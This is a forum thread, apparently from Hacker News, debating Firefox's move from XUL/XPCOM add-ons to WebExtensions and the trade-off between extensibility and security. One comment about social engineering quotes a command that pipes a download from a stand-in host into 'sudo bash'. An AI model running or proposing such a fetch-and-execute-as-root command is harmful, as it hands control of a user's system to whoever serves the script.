I use Tab Mix Plus for multi-row tabs in Firefox. It's so important to how I browse that it's the main reason why I use Firefox. If it goes away, then I have no reason to use Firefox.

Tab Mix Plus is explicitly mentioned as something they'll support: https://wiki.mozilla.org/WebExtensions#Additional_APIs

Lets be clear; they won't be supporting Tab Mix Plus. They will be providing an API that might allow something similar to be built by someone. This is a good thing but nothing is guaranteed.

It's not guaranteed, but they said they are hiring people to work with addon developers to update their addons. It seems very likely Tab Mix Plus would be on the top of that list, since it's already mentioned as an addon they want to work in the new model.

The blogpost should have led with that.

A lot of the discussion here is based off of people incorrectly assuming addons like that won't work.

That still only covers extentensions that have already been invented.

It doesn't solve the problem of letting people tinker to discover the need for a new API in the first place.

You can still tinker when building firefox from source.

I agree it's not as convenient as the default builds being open to such modding, but that's the point - the default builds should be safer because 99% of users don't tinker.

So it's ok to make life harder for 1% so the 99% have it easier?

And why make it "safer" for the 99%, considering they have been able to live with the current situation for years?

Shouldn't things be improved for everyone?

And aren't those 1% that tinker those who provide new stuff to the 99%?

> And why make it "safer" for the 99%, considering they have been able to live with the current situation for years?

It's hard for me to read this comment as anything other than "browser security is fine and people shouldn't bother trying to improve it".

Well, fixing security bugs obviously is necessary. But that doesn't mean that features should be thrown out of the window in the name of security.

And I was mostly referring to mozilla's tendency to nanny its users.

For example the argument for extension signing is that users can't decide for themselves what to install. And that even side-loading from the operating system would be too dangerous because some users could get tricked (in my book that's a people problem, not a software problem).

And again, the argument for whitelisted, locked-down APIs for extensions is security, that giving extensions the same powers as native applications (which don't have to be signed) is unacceptable. Again, reducing features in the name of security.

Fixing privilege escalation attacks and nannying users so they don't apply foot-guns are two quite separate approaches to security in my opinion. Especially since the latter is onerous on powerusers while the former is not.

The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

> The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

Much of the impetus for this change is to make sandboxing possible. You need to be a multiprocess browser to be a sandboxed browser. Multiprocess Firefox is incompatible with many of the things that addons are doing right now. So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

> Much of the impetus for this change is to make sandboxing possible.

The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

> Multiprocess Firefox is incompatible with many of the things that addons are doing right now.

And yet a transition seems to be possible without telling developers "you will never ever be allowed to access internals again". It's more of an outreach thing "headsup, you should fix your addon".

And really, isn't that new deprecation and eventual no-AMO-approval policy equivalent to breaking them anyway? So why not just go ahead and break them and let those people tinker who don't mind occasional breakage.

> So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

To some extent, yes, but not quite. I'm asking why it is suddenly necessary to increase security at the expense of features.

But I'll follow that train of thought anyway: Is it necessary? Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

> The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

Reaching into content windows is forbidden in multiprocess Firefox. That alone is going to break tons of addons. This necessitates a redesign. Since a major redesign is necessary anyway, it makes sense to future-proof the architecture so that addons will work in perpetuity. Ultimately, this ends up being friendlier to addon developers, since addons will break once instead of again and again as the architecture evolves.

> Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

A Rust-based browser engine will never replicate XUL and XPCOM, because no browser engine besides Gecko can replicate XUL and XPCOM. That is because XUL and XPCOM are too ill-specified and tied to the exact internals of Gecko. As long as add-ons are written to an unspecified, ad-hoc API, it'll be impossible to change the underlying technology, preventing adoption of things like Rust. In the end, that holds back browser security.

You make a good point that software not written in C++ might need less security hardening elsewhere.

But sadly, the reality is that Firefox, Chrome, Safari and Edge are all massive C++ codebases, with lots of security problems. Until we fix that, browsers will need to protect their users as best they can, and that means removing dangers like unsigned addons, overly-flexible addon APIs, and so forth.

Perhaps some users would be ok with a browser with less security and more flexibility. But by default, browsers should be safe, since 99% of users don't understand software and much less software security.

Just because we existed without them before doesn't mean the restrictions weren't needed.

We always needed Sandboxing and multi-process Firefox, even though we were able to get by without it for years. Likewise, side-loaded add-ons that can steal your information are a legit security threat, even if you think you're such a smart user that you could somehow avoid ever being burned by it.

> side-loaded add-ons that can steal your information are a legit security threat

How so? Sideloading means OS-level access. OS-level access means your whole user account is already compromised if it was malicious software.

There is no additional security gained by preventing side-loading after malicious software already got into your system.

If someone social-engineers you into "install this .xpi" they might as well manage to trick you into "run this .jar" or "run this .exe" or please "curl http://pleaseexploit.me/ | sudo bash" to check out our newest software!

OSes are getting hardened with a per-app security model (instead of per-account which you describe). Hardening Firefox so that it won't compromise itself through XPI (which are opaque to the OS) is part of a defense in depth strategy. Security policies can prevent applications from scribbling over each other's memories as a general rule, whereas attaching security labels to profile directories requires targeted policies that are much more fragile and full of false positives.

> So it's ok to make life harder for 1% so the 99% have it easier?

Generally speaking - yes.

Making a browser safer for 99% of people might be worth making the experience of 1% a little less flexible.

Unless you can find a solution that makes 100% of people happy, we will always have such tradeoffs. And so far, no browser has found such a solution for addons.

That and Tree Style Tabs are the reason I left Chrome. The path that firefox has been on for the last few months is sad.

I was thinking the same thing. Tab Mix Plus sounds like one of those extensions that might not be doable under the new API... Which would explain why there's no chrome version.

Also the main reason why I use Firefox as well... This window has 20 tabs open :)

Doing research phases I can have 100 tabs open -- although only 30-40 actually fit on the screen at once (3 rows). Even if Tax Mix Plus was ever doable under the new API (and it won't be), somebody has to write it, test it, and maintain it. I'm not confident that will happen. The churn is just tossing out a lot of existing code and might never be replaced.

I just turned off automatic updates. It's sad that all good things do eventually come to an end.

I think that may be overly pessimistic: The post says they are working to extend WebExtensions in ways to allow addons that currently can't work in the Chrome etc. addon APIs.

I'm not sure if that will address that concern, it depends how far they will go with that, but at least it is clear that doing much better than basic WebExtensions/Jetpack/etc. is intended.

Since you're addressing my comment there:

I don't think I'm overly pessimistic. Apart from having been in the game since mozilla suite and having experienced a LOT of things that didn't turn out so well, to say the least and keep it polite and curse-word free...

The WebExtensions API is supposed to be an intentionally strictly defined API with a limited feature set; that just comes with the territory. It is supposed to give you access to a subset of Firefox features/internals. Compare that to the current extension "API": What Firefox can do, your add-on can do, and a lot of more things as well. You can customize Firefox to the point it really is a new browser (with thinks like Tab Mix Plus, Tree tabs, vimperator/pentadactyl) or just keep it (almost) vanilla, as you please. This is a major plus for users.

Sure, for a lot of things the extension team may add a WebExtensions API. But that is limited to what that team deems worthy of their time, deems "useful", and deems "safe". It is no longer up to the add-on developer to decide what they would like to develop, but up to the WebExtensions API gatekeeper team on what they want to allow and what they then prioritize and create the actual APIs. Adding new APIs you may need will require you nag the team about it, though luck if you don't speak any language they understand, tough luck if they don't care or cannot care because their time is not infinite.

What makes me even more pessimistic is seeing the Jetpack/Add-on SDK after years of development and how it still only can address only the most basic use cases. The number of SDK-based add-ons, even relatively simple ones, that have to resort to 'require("chrome")' is staggeringly high. If the pace of the Add-on SDK and the stability its API is any indication... Time to look for another browser... Except there isn't any comparable to what Firefox still is right now.

And let's not forget: A change like this will break almost all existing add-ons in major ways. Many if not add-ons need to be rewritten in their entirety or at least in major chunks from scratch. Many add-ons will simply not make that huge investment in time required for that and simply die, without readily available replacements and leaving users behind scratching their heads.

> What Firefox can do, your add-on can do, and a lot of more things as well. You can customize Firefox to the point it really is a new browser (with thinks like Tab Mix Plus, Tree tabs, vimperator/pentadactyl)

Those are popular add-ons. See the post: "Over the coming year, we will seek feedback from the development community, and will continue to develop and extend the WebExtension API to support as much of the functionality needed by the most popular Firefox extensions as possible."

> What Firefox can do, your add-on can do, and a lot of more things as well

XPCOM has never exposed everything, and in fact has steadily reduced its scope since "de-COMtamination" began a decade ago.

Yeah, and the not-so-popular add-ons can screw themselves, I guess. Your add-on only has 10.000 users? 200 users? uhhh... Sorry, priorities.

Then again, actually look at the vimperator or pentadactyl code... That code interacts and/or hooks a ton of stuff. Designing and implementing APIs just to support that will require a lot of time. And that is just one add-on.

Furthermore, do you really believe that add-ons like vimperator or Tab Mix Plus or Stylish or SqliteManager would have been created if there was no "open API"? I don't think so.

Also, did you know that a lot of the Chrome extension API was created after directly soliciting feedback from Firefox add-on developers? Yet, a ton of add-ons still couldn't or just weren't supported in the Chrome API. And added to that, the Chrome API kinda stagnated after that.

This is really sad. I cannot surf the web without vimperator/pentadactyl now. It's so useful. I have quick keybindings for switching to an ssh tunnel, or doing site specific web searches, etc.

I don't see anyone developing a vim/emacs-like browser from scratch. Many projects like uzbl or luakit failed. It takes a lot of manpower. Doing things on top of Firefox made it relatively easy, not a heroic effort.

But that still means you have to ask the gatekeeper first to please make an API available for what you have in mind. And the gatekeeper might say "no". Or say "sounds nice, but our backlog is thiiiiiis long".

With the old model nobody had to ask for permission, they could just develop and then mozilla could choose to support their use-case through a less hacky API.

It's true that the new model will be more limited. But you can't deny the old model had downsides. That's why Firefox is moving away from it, and why no other browser uses the old model.

It might be interesting for someone to make a browser that is easily extensible in every way. That probably wouldn't become a mainstream browser, so it wouldn't compete for market share with chrome, firefox, edge, and safari. But it could be fun for power users.

Mozilla and later Firefox were browsers that were easily extensible in every way. Given experience with the XUL/XPCOM/JS stack, you can still pretty much do anything you want without too much difficulty. However, three things have happened since then:

1) No one outside of Mozilla adopted XUL/XPCOM/JS as an application platform. There are probably many reasons for this, but the main one, based on my recollection of early Mozilla, was that XUL was too slow and didn't look native, and JS was likewise too slow and not considered to be a real programming language. That has changed significantly since Mozilla's introduction, as both the layout and JS engines have improved substantially, but that was the picture at its introduction. In time, JS was revitalized, but so was HTML. HTML has now achieved some success as an application platform (e.g. Atom and Spotify), but XUL remains basically unused outside of Mozilla.

2) Because no one adopted XUL/XPCOM/JS, Mozilla stopped looking at it as an application platform and started looking at it as a legacy technology that they at one time used to build a browser. As a result, it began to stagnate, and interest in documenting things so that other people outside of Mozilla could use them waned. And because XUL/XPCOM/JS are now niche technologies, no one knows them and there's no value in learning them outside of being able to write Firefox extensions, so Firefox does not seem so easily extensible to outsiders.

3) Chrome happened, and Mozilla saw what Chrome gained by not building a fully extensible platform and wants that for itself. On the flip side, I'm not sure that Mozilla fully recognizes what it currently gains from having an extensible platform.

> 1) No one outside of Mozilla adopted XUL/XPCOM/JS as an application platform.

As somebody who worked on things that adopted the platform and shipped commercial products (see Songbird): Mozilla didn't and doesn't want to be a platform. Or rather, they wanted to be a platform when they started, but didn't want to do work like look at bugs that didn't affect Firefox. They did take the smaller patches, but there was never any chance of bigger changes landing. They never got away from the Netscape legacy; there were very few super-reviewers over the years that never worked for Netscape/Mozilla because OMG can't let people you have no control over delay shipping Netscape/Firefox.

The actual developers were all nice and mostly time-constrained. People I interacted with were great. But organizationally, the platform always played second fiddle to the browser.

> But you can't deny the old model had downsides.

Sure, but also upsides. That doesn't mean the change, as announced, is the ideal trade-off.

You could easily add an "you can continue to access all browser internels if you flip this switch" option to let those who are willing to break their browser do so and let everyone else be nannied by mozilla.

> That's why Firefox is moving away from it, and why no other browser uses the old model.

That is a distinguishing factor to many users. Maybe not to the majority, but that majority might also be just as happy with chrome and simply stick with firefox due to inertia, who knows.

> if it's there, malware can access it

If malware is already on your system then your system is already compromised. It could also patch firefox or download a firefox with signature verification disabled.

Or it could just send your password store file to some server in russia, encrypt your harddrive and extort money from you.

Really, if malware is on your system then some extension sideloading is not really a big concern in the grand scheme of things.

I totally cannot follow that argument. To me it's like being relieved that your wallet hasn't been taken after someone knifed you and you're rapidly losing blood.

This isn't my argument - it's the argument used by Chrome, Firefox and other browsers. It's why browser plugins like NPAPI are being disabled (Chrome did it earlier this year).

Yes, local attacks are not impossible without this, but the point is to make them harder. A simple switch that opens up a lot of entry points is an easy target for malware.

Some malware might not need an easy target, but you at least prevent some malware by removing it. The harder it is, the fewer attacks will succeed.

I agree that those are valid concerns. And yes, the new API will be more restrictive, it sounds, and intentionally so.

But the post asks for feedback and input regarding what new APIs to add. You're right they won't add everything, but we don't know yet how much they will. They also say their team is hiring more people to help move this API forward and work with addon developers to port their addons, so slow progress in the past might finally be changing now. This sounds like it has become a high priority.

So overall it's hard to say how much of a problem the issues you raised will be. This path has some obvious benefits as well as risks, and it'll be interesting to see how it works out. I just think wholesale pessimism at this point is unjustified.

He is quoting a comment, he's not the author of what you read.

Yes, sorry, I meant the comment was overly pessimistic. I'll edit.

With regard to making the integrated Pocket and Hello features into addons, I think they absolutely should. And I wouldn't even mind if those addons came pre-installed, such that the out-of-the-box experience for the average user is identical, but advanced users can disable or uninstall these addons if they don't want or need them.

Interesting. DownThemAll is currently the only reason I still use Firefox occasionally.